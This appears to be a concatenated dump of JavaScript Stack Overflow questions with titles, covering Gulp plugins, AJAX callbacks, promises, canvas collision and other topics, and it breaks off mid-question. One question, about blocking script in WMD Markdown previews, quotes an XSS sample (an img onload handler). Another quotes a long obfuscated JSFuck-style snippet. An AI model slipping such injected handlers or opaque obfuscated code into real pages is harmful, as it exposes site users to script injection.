to copy them to the same folder and just modify the file extension to go from *.json to *.flat.json.My problemThe results I am getting back in my JSON files look like vinyl-files or byte code . For example , I expect output like `` views.login.usernamepassword.login.text '' : `` Login '' , but I am getting something like { `` 0 '' :123 , '' 1 '' :13 , '' 2 '' :10 , '' 3 '' :9 , '' 4 '' :34 , '' 5 '' :100 , '' 6 '' :105 ... etcMy approachI am brand new to developing Gulp tasks and node modules , so definitely keep your eyes out for fundamentally wrong things.The repository will be the most up to date code , but I 'll also try to keep the question up to date with it too.Gulp-Task FileNode module 's index.js ( A.k.a what I hope becomes gulp-flat ) Resourceshttps : //github.com/gulpjs/gulp/blob/master/docs/writing-a-plugin/README.mdhttps : //github.com/gulpjs/gulp/blob/master/docs/writing-a-plugin/using-buffers.mdhttps : //github.com/substack/stream-handbook var gulp = require ( 'gulp ' ) , plugins = require ( 'gulp-load-plugins ' ) ( { camelize : true } ) ; var gulpFlat = require ( 'gulp-flat ' ) ; var gulpRename = require ( 'gulp-rename ' ) ; var flatten = require ( 'flat ' ) ; gulp.task ( 'language : file : flatten ' , function ( ) { return gulp.src ( gulp.files.lang_file_src ) .pipe ( gulpFlat ( ) ) .pipe ( gulpRename ( function ( path ) { path.extname = '.flat.json ' } ) ) .pipe ( gulp.dest ( `` App/Languages '' ) ) ; } ) ; var through = require ( 'through2 ' ) ; var gutil = require ( 'gulp-util ' ) ; var flatten = require ( 'flat ' ) ; var PluginError = gutil.PluginError ; // constsconst PLUGIN_NAME = 'gulp-flat ' ; // plugin level function ( dealing with files ) function flattenGulp ( ) { // creating a stream through which each file will pass var stream = through.obj ( function ( file , enc , cb ) { if ( file.isBuffer ( ) ) { //FIXME : I believe this is the problem line ! ! var flatJSON = new Buffer ( JSON.stringify ( flatten ( file.contents ) ) ) ; file.contents = flatJSON ; } if ( file.isStream ( ) ) { this.emit ( 'error ' , new PluginError ( PLUGIN_NAME , 'Streams not supported ! NYI ' ) ) ; return cb ( ) ; } // make sure the file goes through the next gulp plugin this.push ( file ) ; // tell the stream engine that we are done with this file cb ( ) ; } ) ; // returning the file streamreturn stream ; } // exporting the plugin main functionmodule.exports = flattenGulp ;",NodeJS & Gulp Streams & Vinyl File Objects- Gulp Wrapper for NPM package producing incorrect output "JS : I am making an ajax call that returns XML . This XML needs to be handled differently based upon the section of the page within the site the user is on . Thus , I would like to implement 1 ajax function that makes the calls , and has a variable success function ... I 'm sure it is simple but I 've searched for a while and can not figure it out.. function makeAjaxCall ( variableSuccessFunction ) { $ .ajax ... . ( ajax stuff goes here ) ... success : variableSuccessFunction ( xml ) } function ViewOne ( xml ) { //take the XML and update the dom as appropriate } function ViewTwo ( xml ) { //take the XML and update the dom as appropriate } $ ( document ) .ready ( function ( ) { //be able to call either one of these functions makeAjaxCall ( ViewOne ) ; makeAjaxCall ( ViewTwo ) ; }",How to utilize generic AJAX call with multiple success functions "JS : I have a scenarion where I delete rows in a html table . Once the row is deleted , I am trying to realign/sort the hidden fields indexes . for example if second row with hidden fields name [ 1 ] abc tr is deleted , then I am trying to generate table with rows having hidden fields with index name [ 0 ] and name [ 1 ] etc. , Any pointers ? My fiddleJavascript < table class= '' links-list '' > < tbody > < tr > < td > test1 < /td > < td > test2 < /td > < input type= '' hidden '' name= '' name [ 0 ] abc '' > < input type= '' hidden '' name= '' name [ 0 ] def '' > < input type= '' hidden '' name= '' name [ 0 ] gh1 '' > < /tr > < tr > < td > test1 < /td > < td > test2 < /td > < input type= '' hidden '' name= '' name [ 1 ] abc '' > < input type= '' hidden '' name= '' name [ 1 ] def '' > < input type= '' hidden '' name= '' name [ 1 ] gh1 '' > < /tr > < tr > < td > test1 < /td > < td > test2 < /td > < input type= '' hidden '' name= '' name [ 2 ] abc '' > < input type= '' hidden '' name= '' name [ 2 ] def '' > < input type= '' hidden '' name= '' name [ 2 ] gh1 '' > < /tr > < /tbody > < /table > //Loop through table rows//get all hidden fields for each row// update index value inside name [ index ] in sorted order// like all hidden fields with name [ 0 ] in first row name [ 1 ] for second row etcfunction updateHyperlinkIndexes ( ) { var linksList = document.querySelector ( '.links-list tbody ' ) ; for ( var i = 1 ; i < linksList.children.length ; i++ ) { var trContent = linksList.children [ i ] ; for ( var i = 0 ; i < trContent.children.length ; i++ ) { if ( trContent.children.item ( i ) .type & & trContent.children.item ( i ) .type === `` hidden '' ) { var cellName = trContent.children.item ( i ) .name ; trContent.children.item ( i ) .name = cellName.replace ( / [ . * ] / , i ) ; } } } return linksList ; } ; var updatedHtml = updateHyperlinkIndexes ( ) ;",Changing html table row values indexes with pure Javascript "JS : Is it possible to render container for a template based on condition with knockout.js ? This does not work , but shows what i want to do : < div data-bind= '' foreach : items '' > < ! -- ko if : $ data.startContainer -- > < div class= '' container '' > < ! -- ko -- > < div data-bind= '' html : $ data.contentElement '' > < /div > < ! -- ko if : $ data.endContainer -- > < /div > < ! -- ko -- > < /div >",Render container conditionally "JS : There are many Stack Overflow questions ( e.g . Whitelisting , preventing XSS with WMD control in C # and WMD Markdown and server-side ) about how to do server-side scrubbing of Markdown produced by the WMD editor to ensure the HTML generated does n't contain malicious script , like this : But I did n't find a good way to plug the hole on the client side too . Client validation is n't a replacement for scrubbing validation on the server of course , since anyone can pretend to be a client and POST you nasty Markdown . And if you 're scrubbing the HTML on the server , an attacker ca n't save the bad HTML so no one else will be able to see it later and have their cookies stolen or sessions hijacked by the bad script . So there 's a valid case to be made that it may not be worth enforcing no-script rules in the WMD preview pane too . But imagine an attacker found a way to get malicious Markdown onto the server ( e.g . a compromised feed from another site , or content added before an XSS bug was fixed ) . Your server-side whitelist applied when translating markdown to HTML would normally prevent that bad Markdown from being shown to users . But if the attacker could get someone to edit the page ( e.g . by posting another entry saying the malicious entry had a broken link and asking someone to fix it ) , then anyone who edits the page gets their cookies hijacked . This is admittedly a corner case , but it still may be worth defending against.Also , it 's probably a bad idea to allow the client preview window to allow different HTML than your server will allow . The Stack Overflow team has plugged this hole by making changes to WMD . How did they do it ? [ NOTE : I already figured this out , but it required some tricky JavaScript debugging , so I 'm answering my own question here to help others who may want to do ths same thing ] . < img onload= '' alert ( 'haha ' ) ; '' src= '' http : //www.google.com/intl/en_ALL/images/srpr/logo1w.png '' / >",Align the WMD editor 's preview HTML with server-side HTML validation ( e.g . no embedded JavaScript code ) "JS : I 'm trying to grasp the concept of javascript promise . But I 'm getting some problems . I set up a very small web service locally ( do n't get angry , the web service does not conform to conventions ) . Here some details about it/login/ < username > / < password > == > login into the system , the correct username and password is both noorif user is login , a call can be made on /car/ < brand > / < color > / < plate_number > , I 'm not performing any validation on the type of color , brand , platenumberThis one works perfectly fine , I 'm logging and adding a carThis one perfectly shows an error because an invalid url is used : '' /carasdsad/1/1/1 '' is an invalid url and car not added is returnedI 'm getting a problem with this one . The code below uses the code just above . I was expecting car not added to be shown but its showing car addedThe above code is returning car added although `` /carasdsad/1/1/1 '' is an invalid url in the second call . $ .ajax ( { type : `` GET '' , url : url+ '' /login/noor/noor '' } ) .then ( function ( data , textStatus , jqXHR ) { console.log ( `` login success '' ) ; } , function ( ) { console.log ( `` login error '' ) ; } ) .then ( $ .ajax ( { type : `` GET '' , url : url+ '' /car/1/1/1 '' } ) ) .then ( function ( ) { console.log ( `` car added '' ) ; } , function ( ) { console.log ( `` car not added '' ) ; } ) ; $ .ajax ( { type : `` GET '' , url : url+ '' /carasdsad/1/1/1 '' } ) .then ( function ( ) { console.log ( `` car added '' ) ; } , function ( ) { console.log ( `` car not added '' ) ; } ) ; $ .ajax ( { type : `` GET '' , url : url+ '' /login/noor/noor '' } ) .then ( function ( data , textStatus , jqXHR ) { console.log ( `` login success '' ) ; } , function ( ) { console.log ( `` login error '' ) ; } ) .then ( $ .ajax ( { type : `` GET '' , url : url+ '' /carasdsad/1/1/1 '' } ) ) .then ( function ( ) { console.log ( `` car added '' ) ; } , function ( ) { console.log ( `` car not added '' ) ; } ) ;",JavaScript promise confusion "JS : Note : *A complete JSFiddle can be found at the bottom of my post*.Problem : I am trying to destroy all enemies that touch the blue line in the center of the canvas . However , this is not the case and my implementation is only `` half working '' . When one side works , the other doesnt . How can I fix this problem ? What I tried : Once I set up the basic drawing functions , I calculated the difference between x and y of the colliding objects . Used the pythagorean distance to calculate the distance between the two points . Finally checked if the distance is less or equal to the combined radius of the two objects . Using arctangent I calculated the rotation of the movement of the objects.Alternative Solution I Thought Of : Using a loop to creating various invisible circles or dots along the blue line that act as a collision receptor . Problem is : it eats more resources and it wouldnt be elegant at all.The Javascript function of most interest to you would be : The angle is the angle of the rotating blue line ( which is a semi circle with a stoke ) .This works only for the -- and +- sections . Changing < = to > = does the opposite as expected . I would need to find a way to loop from -1 to 1.works for -- , -+ , ++ but not for +- ( bottom right ) .So in the end im utterly confused why my logic doesnt work but I am eager to learn how this can be achieved : Below the JSFiddle : http : //jsfiddle.net/mzg635p9/I would be happy for a response as I love learning new things in Javascript : ) Edit ( 03.11.2015 ) : If possible only purely mathematical solutions but feel free to also post other solutions . For the sake of learning new techniques , every piece of information is welcome . function ( player , spawn ) { return ( this.distance ( player , spawn ) < = player.radius + spawn.radius ) & & ( this.tangent ( player , spawn ) < = angle - Math.PI * 1 ) ; } this.tangent ( player , spawn ) < = angle - Math.PI * 1 ) this.tangent ( player , spawn ) > = angle - Math.PI * 2 & & this.tangent ( player , spawn ) > = angle",Javascript Canvas : Collision against enemies not entirely working when rotating player "JS : I can not get the jQuery to return a success even though the URL which it generates works . The code is as follows : It does not hit success ( I took out failed but it goes into failed ) . I am not sure why this is failing given I copy paste the generated URL and it works and spits back a response . Please let me know what other information I can provide . I am sorry for being a bit vague . Any help is greatly appreciated ! ! ! var baseURL = `` http : //api.rottentomatoes.com/api/public/v1.0.json '' ; var apiKey = `` myAPIKEy '' ; $ .ajax ( { type : `` GET '' , url : baseURL , data : { apikey : apiKey } , success : function ( ) { alert ( 'here ' ) ; } , complete : function ( data ) { return data ; } } ) ;",JQuery.AJAX fails even though firefox says code 200 "JS : I 'm trying to check to see if user input assigned to a variable can be checked to make sure it is a string , and not a number . I 've tried using typeof ( ) , but no matter what , the user input is tagged as a string , even if the user enters a number . For example : Is there something I could use that 's similar to the NaN function , but for strings ? var x = prompt ( `` Enter a string of letters '' ) ; var y = typeof x ; if ( y ! == `` string '' ) { alert ( `` You did not enter a string '' ) ; }",Ensuring that the value returned by Window.prompt contains only letters "JS : I got an odd behaviour when using bootstrap-datetimepicker v. 4.17.47.Here is my picker configuration : When setting minDate and maxDate to the same day but with different hours , let 's say 2018-2-1 00:00 and 2018-2-1 02:00 , I am unable to choose both date and time : Does anyone has a workaround to solve this issue ? format : 'YYYY-MM-DD HH : mm ' , showTodayButton : true , useCurrent : false , showClear : true , minDate : moment ( ' { { ts_beg } } ' ) , maxDate : moment ( ' { { ts_end } } ' )",Unable to select days and hours when minDate and maxDate are on the same days with Eonasdan datetimepicker "JS : What does this line parent & & ( this.parent.next = this ) ; mean ? It just looks like its sitting there , doing nothing , not an if statement or a promise or anything . Is there a name for this style of coding ? Its in multiple places in this animation file I 'm looking at . Here 's another example.. ( ! touch & & document.setCapture ) & & document.setCapture ( ) ; var Particle = function ( i , parent ) { this.next = null ; this.parent = parent ; parent & & ( this.parent.next = this ) ; this.img = new Image ( ) ; this.img.src = `` http : //www.dhteumeuleu.com/images/cloud_01.gif '' ; this.speed = speed / this.radius ; } this.down = function ( e , touch ) { e.preventDefault ( ) ; var pointer = touch ? e.touches [ 0 ] : e ; ( ! touch & & document.setCapture ) & & document.setCapture ( ) ; this.pointer.x = pointer.clientX ; this.pointer.y = pointer.clientY ; this.pointer.isDown = true ;",What does expression & & expression syntax mean ? "JS : I am trying to create a new class Dog that inherits via prototypical inheritance from the Animal class : ​JS FiddleHowever , I get a Javascript error : Uncaught TypeError : Object # < Dog > has no method 'say'.Why ? Should n't the Dog object retain an Animal object as a prototype ? function Animal ( ) { this.name = `` animal '' ; this.writeName = function ( ) { document.write ( this.name ) ; } } function Dog ( ) { this.name = `` dog '' ; this.prototype = new Animal ( ) ; } new Dog ( ) .writeName ( )",Why ca n't I inherit the prototype of the Animal class in my javascript code ? "JS : I have a very strange problem and I 'm not even sure if its the right angle but here comes the setup : link to a google font in the head ; onload : function x ( ) to render the font in a canvas ; since the onload renders the text in a standard font and the onclick execution of the same function work perfectly , I 'm thinking the font is not fully loaded on the first execution.so i was wondering if there was a way to check the loading progress of an external font . onclick : x ( ) ;",How do i check the load of an external font "JS : I 'm trying to create curry function that can be applied to any function and return another , with 1 of the arguments applied.Properties that I want to have : If function has only one argument curry function should return value : f ( a ) ; curry ( f , x ) = f ( x ) ; If function has many arguments currey should retrun curried function : g ( a1 , a2 , .. , aN ) ; curry ( g , x ) = g2 ( a2 , .. , aN ) : g2 ( a2 , ..aN ) =g ( x , a2 , ... , aN ) Length propery of curried function should work `` as needed '' g.length = N = > curry ( g , x ) .length = N-1There is some implementations of curry in Prototype Framework and discussion in one blog . But this implementation is not good because it does n't work well on functions with only one argument ( 1 ) , and also returning function 'length ' attribute is 0 ( 3 ) .For first property there is an easy implementation : But I do n't know how to work with 3rd rule , i.e . function can be constucted as inner function since there will be a nested Lexical Environment and will be able to use f : but in this case I 'll no longer will able to explicitly set parameters . On the other hand function can be constructed with 'new Function ' statement , smth like that : But in this situation f and x will unbound because anonymous function will be created inGlobal Lexical Environment.So the questions : is there a way to explicitly set parameters count when creating function with function keyword ? is there a way to set Environment of function created with 'new Function ' statement ? us there a way to solve my problem in any other way ? function curry ( f , x ) { if ( f.length == 1 ) return f ( x ) ; ... } function curry ( f , x ) { return function ( ) { ... } } function curry ( f , x ) { var args = [ ] ; for ( var i=1 ; i < f.length ; i++ ) { args.push ( ' a'+i ) ; } var sa = args.join ( ) ; return new Function ( sa , '' return f ( x , '' +sa+ '' ) '' ) ; }",javascript currying "JS : I have documents stored in MongoDB like so : I want to add analyzers to specific languages , which is normally specified like so : The problem is however : depending on the language set on the child level , it should have an analyzer set according to that same language.I 've stumbled upon Dynamic Templates in ElasticSearch but I was not quite convinced this is suited for this use-case.Any suggestions ? const demoArticle = { created : new Date ( ) , title : [ { language : 'english ' , value : 'This is the english title ' } , { language : 'dutch ' , value : 'Dit is de nederlandse titel ' } ] } `` mappings '' : { `` article '' : { `` properties '' : { `` created '' : { `` type '' : `` date '' } , `` title.value '' : { `` type '' : `` text '' , `` analyzer '' : `` english '' } } } }",Multi-language elastic search mapping setup "JS : How do you generate cryptographically secure floats in Javascript ? This should be a plug-in for Math.random , with range ( 0 , 1 ) , but cryptographically secure . Example usageSecure random numbers in javascript ? shows how to create a cryptographically secure Uint32Array . Maybe this could be converted to a float somehow ? The Mozilla Uint32Array documentation was not totally clear on how to convert from an int . Google was not to the point , either.Float32Array.from ( someUintBuf ) ; always gave a whole number . cryptoFloat.random ( ) ; 0.8083966837153522",Cryptographically secure float "JS : I have a large amount of datarows in a json file which i load via ajax.I then create quite some html code containing some of the data for each row like this.this seems to be quite slow , especially on the mobile safari browser . are there any tricks or jquery plugins to speed this up ? edit : as requested , here is the ajax call : var gl = $ ( `` # gameslist '' ) ; $ .each ( DATA.games , function ( index , value ) { gl.append ( ' < div > ... lots of html code here ... '+value.somedata+ ' < /div > ' ) ; } $ .ajax ( { dataType : `` json '' , url : `` ../games.json '' } ) .done ( function ( gamesjson ) { DATA = gamesjson ; buildPage ( ) ; // this one is calling the above code } ) .fail ( function ( ) { console.log ( `` games.json error '' ) ; } ) ;",Best way to inject a html row template "JS : Given other questions on the same topic I feel I understand the apparent justifications for concatenating the < script > tag as ' < scr'+'ipt.. ' in a javascript string , even if this itself is misguided . However , looking at the code for the Instapaper bookmarklet I see d.createElement ( 'scr ' + 'ipt ' ) . The relevant part of the code ( beautified ) is at the end of the question.Even if this ( anti- ) pattern is to avoid the HTML parser balking at the markup after the occurrence of the closing < script > tag within a javascript string , I can see even less justification for doing it here given the concatenated text does not even represent a < script > tag.In this case , is this done for some other reason ? javascript : function iprl5 ( ) { var d = document , z = d.createElement ( 'scr ' + 'ipt ' ) , // ? ? ? b = d.body , l = d.location ;",Concatenation of 'scr'+'ipt ' in javascript bookmarklet code JS : Possible Duplicate : Check variable equality against a list of values Javascript : Comparing SINGLE Value Against MULTIPLE Values with OR Operands First of all I am new to javascript side . Please let me know is there any simple way of formating the below code . if ( fileName== 'doc ' || fileName=='docx ' || fileName=='xls ' || fileName=='xlsx ' || fileName=='ppt ' || fileName=='pdf ' ) { Do something } else { Do something },Javascript formatting for if condition "JS : I have list of months , now what I want is to hide all previous months start from the current month ( march/MAR ) .I triedbut unfortunately , not working , any ideas , help please ? < ul id= '' months '' > < li > < a class= '' li-month '' data-val= '' 0 '' href= '' # JAN '' > JAN < /a > < /li > < li > < a class= '' li-month '' data-val= '' 1 '' href= '' # FEB '' > FEB < /a > < /li > < li > < a class= '' li-month '' data-val= '' 2 '' href= '' # MAR '' > MAR < /a > < /li > < li > < a class= '' li-month '' data-val= '' 3 '' href= '' # APR '' > APR < /a > < /li > < li > < a class= '' li-month '' data-val= '' 4 '' href= '' # MAY '' > MAY < /a > < /li > < li > < a class= '' li-month '' data-val= '' 5 '' href= '' # JUN '' > JUN < /a > < /li > < li > < a class= '' li-month '' data-val= '' 6 '' href= '' # JULY '' > JULY < /a > < /li > < li > < a class= '' li-month '' data-val= '' 7 '' href= '' # AUG '' > AUG < /a > < /li > < li > < a class= '' li-month '' data-val= '' 8 '' href= '' # SEP '' > SEP < /a > < /li > < li > < a class= '' li-month '' data-val= '' 9 '' href= '' # OCT '' > OCT < /a > < /li > < li > < a class= '' li-month '' data-val= '' 10 '' href= '' # NOV '' > NOV < /a > < /li > < li > < a class= '' li-month '' data-val= '' 11 '' href= '' # DEC '' > DEC < /a > < /li > < /ul > $ ( document ) .ready ( function ( ) { $ ( '.li-month [ href= '' # '+moment ( ) .format ( `` MMM '' ) + ' '' ] ' ) .prevUntil ( ) .hide ( ) ; } ) ;",hide all previous months start from the current month "JS : Jest has this feature to log the line that outputs to console methods.In some cases , this can become annoying : Any idea how I can turn it off ? console.log _modules/log.js:37 ℹ login.0 screenshot start console.time _modules/init.js:409 login.0.screenshot : 0.33ms console.time _modules/init.js:394 0 | login.0 : 0.524ms console.log _modules/log.js:37 ℹ login.1 screenshot start",Remove logging the origin line in Jest "JS : I would like them all the subviews to move in one clean motion , but if you look at the gif , you can see that the Text subview and the TextInput subview overlap and move at different speeds . It looks like the Text subview adjusts its position instantly where as the button and TextInput subviews adjust their position in more of an Ease in Ease out manner.Main exported componentStylingGithubFull project on github class SearchScreen extends React.Component { state = { search : '' '' } render ( ) { getArguments = { search : this.state.search } return ( < KeyboardAvoidingView behavior= '' padding '' style= { styles.container } > < Text style= { styles.searchTitle } > Search for a Movie in the OMDB Database < /Text > < TextInput style= { styles.searchField } onChangeText= { text = > this.setState ( { search : text } ) } > < /TextInput > < SearchButton navigation = { this.props.navigation } getArguments= { getArguments } / > < /KeyboardAvoidingView > ) } } const styles = StyleSheet.create ( { container : { flex:1 , backgroundColor : ' # C8FEFE ' , alignItems : 'center ' , justifyContent : 'center ' } , searchButton : { marginTop : 20 , backgroundColor : ' # 24D9E8 ' , borderRadius : 5 , padding : 5 } , searchField : { backgroundColor : ' # FFF ' , textAlign : 'center ' , width : 200 , borderRadius : 5 , margin : 20 , height : 30 } , searchTitle : { fontWeight : 'bold ' , fontSize : 20 , textAlign : 'center ' } } ) ;",React Native : Subviews of KeyboardAvoidingView have lag / move at different speeds "JS : There are regex matching methods on both RegExp objects and String objects in Javascript.RegExp objects have the methodsexectestString objects have the methodsmatchsearchThe exec and match methods are very similar : and the test and search are also very similar : Is there a preference to use the methods on RegExp objects or on String objects ? /word/.exec ( `` words '' ) ; //Result : [ `` word '' ] '' words '' .match ( /word/ ) ; //Result : [ `` word '' ] /word/.exec ( `` No match '' ) ; //Result : null '' No match '' .match ( /word/ ) ; //Result : null/word/g.exec ( `` word word '' ) ; //Result : [ `` word '' ] '' word word '' .match ( /word/g ) ; //Result : [ `` word '' , `` word '' ] /word/.test ( `` words '' ) ; //Result : true '' words '' .search ( /word/ ) ; //Result : 0//Which can converted to a boolean : '' word '' .search ( /word/ ) > -1 ; //Result : true/word/.test ( `` No match '' ) ; //Result : false '' No match '' .search ( /word/ ) > -1 ; //Result : false",Is it preferred to use methods on RegExp objects or String objects ? JS : I run in to something that illustrates how I clearly do n't get it yet.Can anyone please explain why the value of `` this '' changes in the following ? var MyFunc = function ( ) { alert ( this ) ; var innerFunc = function ( ) { alert ( this ) ; } innerFunc ( ) ; } ; new MyFunc ( ) ;,Just when I think I finally understand Javascript scope "JS : I am using graphql-tool to mock up data for testing.I hope to simulate when I select a user , it opens a detail page and shows the user company info.QueryMock serverHowever , right now , when I query with argument id 'u1 ' , it will return a random user id for example 'u2 ' , which gives me a little trouble to show it in front end.I thought I can do something like this below , but turns out I am wrong . user is undefined in the code below.Is there a way to pass the query arguments in graphql-tools ? Thanks const query = ` query User ( $ id : ID ! ) { user ( id : $ id ) { id company } } ` ; import { addMockFunctionsToSchema } from 'graphql-tools ' ; import casual from 'casual ' ; const allUserIds = [ 'u1 ' , 'u2 ' , 'u3 ' ] ; const mocks = { User : ( ) = > ( { id : casual.random_element ( allUserIds ) , name : casual.name , company : casual.company_name } ) } ; addMockFunctionsToSchema ( { schema , mocks } ) ; const mocks = { User : ( user ) = > ( { id : user.id || casual.random_element ( allUserIds ) , name : casual.name , company : casual.company_name } ) } ;",How to pass query arguments in graphql-tool ? "JS : I have a function that upon completion re-queues itself with setTimeout ( ) . Could someone explain why Chrome DevTools makes it look like it 's calling itself recursively ? My understanding is the call stack ought to be clear on each invocation.Take this very simple example : The first time the breakpoint is hit I see this : After 3 more iterations I see this : Firefox developer tools does what I expect and just shows one instance of the function on the stack each time the breakpoint is hit.Is there some kind of subtle reference capture going on under Chrome that I 'm not aware of , or is this just a DevTools UI thing ? < html > < head > < script > function main ( ) { setTimeout ( main , 100 ) ; // set breakpoint here } main ( ) ; < /script > < /head > < body > < /body > < /html >",Why does setTimeout ( ) clutter my call stack under Chrome DevTools ? "JS : I have searched Google for a converter but I did not find anything . Is there any tools available or I must make one to decode my obfuscated JavaScript code ? I presume there is such a tool but I 'm not searching Google with the right keywords.The code is 3 pages long , this is why I need a tools.Here is an exemple of the code : Thank you < script > ( [ ] [ ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] ] [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! [ ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] ] ( ) [ ( ! ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( + ( + [ ] ) + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] ) [ ! + [ ] + ! + [ ] + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] ] ) ( ( [ ] + [ ] ) [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] +",I need a Javascript literal syntax converter/deobfuscation tools "JS : I used to assume that functions always get hoisted to the top of any block of JavaScript code.For example , this works : but this does n't work and throws ReferenceError in Firefox , but works in Chrome : Fiddle codeInitially , I assumed that Chrome would also throw an error before I tested , but somehow it works correctly . Can someone explain why it does n't work in Firefox ? document.addEventListener ( 'something ' , dummy ) ; function dummy ( ) { console.log ( 'dummy ' ) ; } if ( document ) { document.addEventListener ( 'something ' , dummy1 ) ; function dummy1 ( ) { console.log ( 'dummy ' ) ; } }",Firefox : function hoisting error "JS : I am writing a custom Blaze block helper with children : My intended use case would be to have a Template with arbitrary child nodes , that I define in the html file.No problem so far . However , in the parent Template 's onCreated / autorun I want to have access to child templates . I want to use this data to dynamically create in the parent Template elements , based Where children would be used in the parent template as following : What I do n't want is to access the contentBlock 's content ( the < p > ) but rather get a list of the added child Templates.Is that possible with the current Template / Blaze API ? The documentation is a bit thin on that point.It is basically the opposite of this post : How to get the parent template instance ( of the current template ) Edit 1 : Use parent View 's Renderfunction ( only partially working ) I found a way to get the parent Template 's children but not their data reactively : Another approach I found is to used a shared ReactiveVar but both seem to me not clean enough . I just want to get the list of Template instances in the parent 's js code.Edit 2 : Use a shared ReactiveVar ( only partially working ) It is possible to use a shared ReactiveVar as long as it is in the scope of both Templates : Working ( but only rendered once , not reactive ) : Not working ( child autorun is setting values , but new values are not rendered ) : < template name= '' parent '' > { { > Template.contentBlock .. } } < /template > < template name= '' child '' > { { > Template.contentBlock .. } } < /template > { { # parent } } { { # child id= '' child1 '' title= '' Child 1 '' } } < p > This is content of child 1 < /p > { { /child } } { { # child id= '' child2 '' title= '' Child 2 '' } } < p > This is content of child 2 < /p > { { /child } } { { # child id= '' childN '' title= '' Child N '' } } < p > This is content of child N < /p > { { /child } } { { /parent } } Template.parent.onCreated ( function ( ) { const instance = this ; instance.state = new ReactiveDict ( ) ; instance.autorun ( function ( ) { const contentBlocks = // how ? instance.state.set ( `` children '' , contentBlocks ) ; } ) ; } ) ; Template.parent.helpers ( { children ( ) { return Template.instance ( ) .state.get ( `` children '' ) ; } } ) ; { { # parent } } { { # each children } } do something with { { this.value } } { { /each } } { { # child id= '' child1 '' title= '' Child 1 '' } } < p > This is content of child 1 < /p > { { /child } } { { # child id= '' child2 '' title= '' Child 2 '' } } < p > This is content of child 2 < /p > { { /child } } { { # child id= '' childN '' title= '' Child N '' } } < p > This is content of child N < /p > { { /child } } { { /parent } } // in Template.parant.onCreated - > autorunconst children = instance.view.templateContentBlock.renderFunction ( ) .filter ( child = > typeof child === 'object ' ) .map ( el = > Blaze.getData ( el._render ( ) ) ) ; console.log ( children ) ; // null , null , null because Blaze.getData ( view ) does return null const _cache = new ReactiveVar ( { } ) ; Template.parent.onCreated ( function ( ) { const instance = this ; instance.state = new ReactiveDict ( ) ; instance.autorun ( function ( ) { const children = Object.values ( _cache.get ( ) ) ; instance.state.set ( `` children '' , children ) ; } ) ; } ) ; Template.parent.helpers ( { children ( ) { return Template.instance ( ) .state.get ( `` children '' ) ; } } ) ; Template.child.onCreated ( function ( ) { const instance = this ; const data = Template.currentData ( ) ; const cache = _cache.get ( ) ; cache [ data.id ] = data ; _cache.set ( cache ) ; } ) ; Template.child.onCreated ( function ( ) { const instance = this ; instance.autorun ( function ( ) { const instance = this ; const data = Template.currentData ( ) ; const cache = _cache.get ( ) ; cache [ data.id ] = data ; _cache.set ( cache ) ; } ) ; } ) ;",Meteor Blaze access Template.contentBlock inside Template.onCreated "JS : I 'm trying to apply the value of the first key : value pair to each value inside the array of the second key : value pair while removing the keys from the books array , resulting in a list that takes this input : and log this output : Where I get stuck var fictionCatalog = [ { author : 'Michael Crichton ' , // push into each book books : [ { name : 'Sphere ' , price : 10.99 } , { name : 'Jurassic Park ' , price : 5.99 } , { name : 'The Andromeda Strain ' , price : 9.99 } , { name : 'Prey ' , price : 5.99 } ] } ] [ [ Michael Crichton , 'Sphere ' , 10.99 ] , [ Michael Crichton , 'Jurassic Park ' , 5.99 ] , [ Michael Crichton , 'The Andromeda Strain ' , 9.99 ] , [ Michael Crichton , 'Prey ' , 5.99 ] ] var fictionCatalog = [ { author : 'Michael Crichton ' , books : [ { name : 'Sphere ' , price : 10.99 } , { name : 'Jurassic Park ' , price : 5.99 } , { name : 'The Andromeda Strain ' , price : 9.99 } , { name : 'Prey ' , price : 5.99 } ] } ] var collection = fictionCatalog.reduce ( function ( prev , curr ) { return prev.concat ( curr.author , curr.books ) ; } , [ ] ) ; console.log ( collection )",flatten object inside array "JS : I include a snippet of my project.When I run this code clicking add on the window 's dialog , and inside the submit , Firebug responds with an error.I would like to know why this does not alert ( `` Se funziona questo mi hai 